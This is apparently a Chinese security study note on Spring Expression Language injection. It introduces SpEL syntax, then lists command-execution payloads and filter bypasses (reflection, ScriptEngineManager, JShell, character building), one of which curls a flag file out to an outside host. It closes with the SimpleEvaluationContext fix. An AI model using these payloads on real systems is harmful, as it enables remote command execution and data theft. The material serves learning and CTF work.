SpEL表达式注入漏洞
简介
Spring Expression Language(简称SpEL)。SpEL引擎作为Spring 组合里的表达式解析的基础 ,但它不直接依赖于Spring,可独立使用。
SpEL测试代码
1 | ExpressionParser parser = new SpelExpressionParser(); |
上述代码含义为首先创建ExpressionParser
解析表达式,之后放置表达式,最后通过getValue
方法执行表达式,默认容器是spring本身的容器:ApplicationContext
。
TemplateParserContext
添加了 表达式模板 解析器
SpEL语法
使用SpEL接口进行表达式求值
1 | ExpressionParser parser = new SpelExpressionParser(); |
方法调用,访问属性,调用构造函数
这些都和平时的java没什么不同,demo:
访问属性:
1 | ExpressionParser parser = new SpelExpressionParser(); |
方法调用:
1 | ExpressionParser parser = new SpelExpressionParser(); |
调用构造函数:
1 | ExpressionParser parser = new SpelExpressionParser(); |
访问根对象属性方法等
1 | ExpressionParser parser = new SpelExpressionParser(); |
结果:fuckertoutoutou
传递根对象/#root
StandardEvaluationContext
1 | // Create and set a calendar |
这里的root object 是 tesla,parser.parseExpression("name");
会返回tesla的name属性
getValue
1 | // Create and set a calendar |
数组和列表和字典 取值
属性名的第一个字母可以是大小写敏感的。数组和列表的内容可以使用方括号来标记
1 | ExpressionParser parser = new SpelExpressionParser(); |
Maps的值由方括号内指定字符串的Key来标识引用。在下面这个例子中,因为Officers map的Key是string类型,我们可以用过字符串常量指定。
1 | // Officer's Dictionary |
声明数组列表和字典
列表:
1 | // evaluates to a Java list containing the four numbers |
字典:
1 | // evaluates to a Java map containing the two entries |
数组:
数组可以使用类似于Java的语法创建,创建时可以事先指定数组的容量大小、这个是可选的。 在创建多维数组时还不支持事先指定初始化的值。
1 | int[] numbers1 = (int[]) parser.parseExpression("new int[4]").getValue(context); |
T操作符
T()
运算符会调用类作用域的方法和常量。
T操作符是一个特殊的操作符、可以同于指定java.lang.Class的实例(类型)。静态方法也可以通过这个操作符调用。 **T()引用java.lang包里面的类型不需要限定包全名,但是其他类型的引用必须要。 **
1 | Class dateClass = parser.parseExpression("T(java.util.Date)").getValue(Class.class); |
表达式模板
表达式模板运行在一段文本中混合包含一个或多个求值表达式模块。各个求值块都通过可被自定义的前后缀字符分隔,一个通用的选择是使用#{ }作为分隔符。
1 | String randomPhrase = parser.parseExpression( |
结果:random number is xxxx
变量
表达式中的变量可以通过语法#变量名使用。变量可以在StandardEvaluationContext中通过方法setVariable设置。
this和root变量
#this变量永远指向当前表达式正在求值的对象(这时不需要限定全名)。变量#root总是指向根上下文对象。#this在表达式不同部分解析过程中可能会改变,但是#root总是指向根
易错点
T()和new一个类时 除了java.lang下的类,其他类都要需要需要限定包全名
SpEL导致的任意命令执行
常用payload
1 | T(java.lang.Runtime).getRuntime().exec("nslookup a.com") |
利用反射构造绕过黑名单
1 | #{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","curl fg5hme.ceye.io/`cat flag_j4v4_chun|base64|tr '\n' '-'`"})} |
利用ScriptEngineManager构造绕过黑名单
1 | #{T(javax.script.ScriptEngineManager).newInstance() |
1 | ''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15] |
除此以外当执行的系统命令被过滤或者被URL编码掉时我们可以通过String
类动态生成字符
如要执行的命令为open /Applications/Calculator.app
我们可以采用new java.lang.String(new byte[]{,,...})
或者concat(T(java.lang.Character).toString())
嵌套来绕过
1 | T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString() |
一些技巧
new被过滤
可以用NEW
一些相关的ctf题目
de1ctf2020 cal
SpEL提供的两个EvaluationContext
的区别
SpEL提供的两个EvaluationContext
的区别。
(EvaluationContext评估表达式以解析属性,方法或字段并帮助执行类型转换时使用该接口。有两个开箱即用的实现。)
- SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集。
- StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。
SimpleEvaluationContext
旨在仅支持SpEL语言语法的一个子集。它不包括 Java类型引用,构造函数和bean引用。
所以说指定正确EvaluationContext
,是防止SpEl表达式注入漏洞产生的首选,之前出现过相关的SpEL表达式注入漏洞,其修复方式就是使用SimpleEvaluationContext
替代StandardEvaluationContext
。